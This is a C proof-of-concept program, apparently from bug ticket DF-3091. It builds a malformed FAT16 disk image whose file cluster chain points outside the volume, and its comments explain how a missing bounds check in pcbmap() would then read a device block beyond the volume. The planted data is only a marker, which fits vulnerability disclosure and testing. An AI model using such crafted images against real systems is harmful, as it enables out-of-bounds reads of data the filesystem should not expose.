DF-3091 / craftfat16.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 | /* * DF-3091 PoC image crafter: FAT16 volume embedded in a larger device, * with a file whose FAT chain points FAR outside the claimed volume. * * Image layout (all 512-byte sectors): * 0 boot sector + BPB: BytesPerSec=512 SecPerClust=1 ResSectors=1 * FATs=1 RootDirEnts=16 FATsecs=20 HugeSectors=8192 (4 MiB VOLUME) * 1..20 FAT (20 sectors = 10240 entries, capacity 5120 clusters) * 21 root directory (16 entries) * 22.. data area; firstcluster = 22; HugeSectors = 8192 -> * pm_maxcluster = min(8171, FAT cap 5119) = 5119 (> 4084, so * the mount selects FAT16, not FAT12) * * FAT[0]=0xFFF8 FAT[1]=0xFFFF * FAT[2]=7000 <-- LEAK.TXT chain jumps to cluster 7000 * FAT[5]=0xFFF8 <-- CTRL.TXT single in-volume cluster * * Device is 8 MiB (16384 sectors). Cluster 7000 maps to device block * cntobn(7000) = firstcluster(22) + (7000-2)*1 = 7020 -> byte 3,594,240, * which is beyond the 4 MiB claimed volume (8192 sectors) on the 8 MiB * device. We plant a marker there. pm_maxcluster = 5119, so 7000 is * not a legal cluster, but pcbmap() only masks with pm_fatmask (0xffff) * and checks for the reserved range (>= 0xfff6): 7000 passes both, so * pcbmap() happily returns device block 7020 for file cluster 1 of * LEAK.TXT. * * build: cc -o craftfat16 craftfat16.c * usage: ./craftfat16 df3091.img */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #define SECSZ 512 #define NSECT 16384 /* 8 MiB device */ #define HUGE_SECS 8192 /* volume claims 4 MiB */ #define FATSECS 20 /* FAT capacity = 5120 clusters */ #define FIRSTCLUST_BLK 22 /* res(1) + fat(20) + rootdir(1) */ #define MARKBLK 7020 /* cntobn(7000): outside the volume */ static uint8_t img[NSECT * SECSZ]; static void w16(uint8_t *p, uint16_t v) { p[0] = v & 0xff; p[1] = v >> 8; } static void w32(uint8_t *p, uint32_t v) { w16(p, v & 0xffff); w16(p + 2, v >> 16); } static void mkdirent(uint8_t *d, const char *nm, uint8_t attr, uint16_t clus, uint32_t size) { memset(d, 0, 32); memcpy(d, nm, 11); d[11] = attr; w16(d + 26, clus); w32(d + 28, size); } int main(int argc, char **argv) { uint8_t *bs, *fat, *root; FILE *f; int i; if (argc != 2) { fprintf(stderr, "usage: %s out.img\n", argv[0]); return (1); } /* ---- boot sector / BPB ---- */ bs = img; bs[0] = 0xEB; bs[1] = 0x3C; bs[2] = 0x90; memcpy(bs + 3, "MSDOS5.0", 8); w16(bs + 11, SECSZ); /* BytesPerSec */ bs[13] = 1; /* SecPerClust */ w16(bs + 14, 1); /* ResSectors */ bs[16] = 1; /* FATs */ w16(bs + 17, 16); /* RootDirEnts */ w16(bs + 19, 0); /* Sectors (use Huge) */ bs[21] = 0xF8; /* Media */ w16(bs + 22, FATSECS); /* FATsecs */ w16(bs + 24, 63); /* SecPerTrack */ w16(bs + 26, 255); /* Heads */ w16(bs + 28, 0); /* HiddenSecs */ w32(bs + 32, HUGE_SECS); /* HugeSectors */ bs[510] = 0x55; bs[511] = 0xAA; /* ---- FAT ---- */ fat = img + SECSZ; w16(fat + 0 * 2, 0xFFF8); /* FAT[0]: media */ w16(fat + 1 * 2, 0xFFFF); /* FAT[1]: clean + reserved */ w16(fat + 2 * 2, 7000); /* FAT[2]: LEAK.TXT -> cluster 7000 (!) */ w16(fat + 5 * 2, 0xFFF8); /* FAT[5]: CTRL.TXT EOF */ /* ---- root directory ---- */ root = img + (1 + FATSECS) * SECSZ; mkdirent(root + 0, "LEAK TXT", 0x20, 2, 2048); mkdirent(root + 32, "CTRL TXT", 0x20, 5, 1024); /* ---- in-volume data for the control file (cluster 5 -> blk 25) ---- */ memset(img + (FIRSTCLUST_BLK + 3) * SECSZ, 'C', SECSZ); memcpy(img + (FIRSTCLUST_BLK + 3) * SECSZ, "IN-VOLUME-CONTROL-DATA", 23); /* ---- marker OUTSIDE the claimed volume ---- * cluster 7000 -> device block 7020 -> byte 3,594,240 */ memset(img + MARKBLK * SECSZ, 'M', SECSZ); memcpy(img + MARKBLK * SECSZ, "DF3091-OUT-OF-VOLUME-MARKER:", 29); /* fill with a recognizable repeating pattern */ for (i = 29; i < SECSZ; i++) img[MARKBLK * SECSZ + i] = 'A' + (i % 26); f = fopen(argv[1], "wb"); if (!f) { perror("fopen"); return (1); } if (fwrite(img, 1, sizeof(img), f) != sizeof(img)) { perror("fwrite"); return (1); } fclose(f); printf("wrote %s: %d sectors (%d claimed by volume, FAT16: maxcluster=5119)\n" "LEAK.TXT cluster 1 -> device block %d (byte %d), volume ends at block %d\n", argv[1], NSECT, HUGE_SECS, MARKBLK, MARKBLK * SECSZ, HUGE_SECS); return (0); } |